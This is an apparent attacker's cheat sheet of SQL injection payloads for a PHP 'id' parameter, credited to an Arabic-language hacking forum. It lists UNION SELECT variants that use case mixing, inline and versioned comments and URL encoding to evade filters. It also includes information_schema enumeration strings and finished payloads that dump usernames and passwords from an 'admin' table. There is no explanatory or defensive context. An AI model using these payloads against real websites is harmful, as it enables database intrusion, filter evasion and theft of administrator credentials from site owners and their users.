index.php?id=-1 union select

index.php?id=-1 UNION SELECT

index.php?id=-1 UnIoN SeLEcT

index.php?id=1+and+1=2 union select

index.php?id=1+and+1=2 UNION SELECT

index.php?id=1+and+1=2 UnIoN SeLEcT

index.php?id=-1 /**/union/**/ select

index.php?id=-1 union /*!select*/

version()
@version
@@version
UNHEX(HEX(version()))

concat(table_name,0x3a,column_name,0x3a,table_schema)

CONCAT(table_name,0x3a,column_name,0x3a,table_schema)

CoNcAt(table_name,0x3a,column_name,0x3a,table_schema)

/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema)

/*!CONCAT*/(table_name,0x3a,column_name,0x3a,table_schema)

/*!CoNcAt*/(table_name,0x3a,column_name,0x3a,table_schema)

/*!concat(table_name,0x3a,column_name,0x3a,table_schema)*/

/*!CONCAT(table_name,0x3a,column_name,0x3a,table_schema)*/

/*!CoNcAt(table_name,0x3a,column_name,0x3a,table_schema)*/

UNHEX(HEX(concat(table_name,0x3a,column_name,0x3a,table_schema)))

%63%6F%6E%63%61%74(table_name,0x3a,column_name,0x3a,table_schema)

+from+information_schema.columns

+/*from*/+information_schema.columns

+/*!from+information_schema.columns*/

+from+/*!information_schema.columns*/

+%66%72%6F%6D+information_schema.columns

+from+information_%73%68%65%6D%61.columns

+where+column_name+LIKE+

+/*where+column_name+LIKE+*/

+/*where*/+column_name+LIKE+

where+table_name=

/*!where+table_name=*/

index.php?id=-1 union select 1,2,concat(username,0x3a,id_name,0x3a,password),4++from+admin

index.php?id=-1 union select 1,2,UNHEX(HEX(concat(username,0x3a,id_name,0x3a,password))),4++from+admin

index.php?id=-1 union select 1,2,concat(username,0x3a,id_name,0x3a,password),4+/*from*/+admin

index.php?id=-1 union select 1,2,concat(username,0x3a,id_name,0x3a,password),4+/*from+admin*/

index.php?id=-1 union select 1,2,concat(username,0x3a,id_name,0x3a,password),4+%66%72%6F%6D+admin

index.php?id=-1 union select 1,2,CONVERT(concat(username,0x3a,id_name,0x3a,password) USING utf8),4+from+admin

المصدر: :: vBspiders Professional Network ::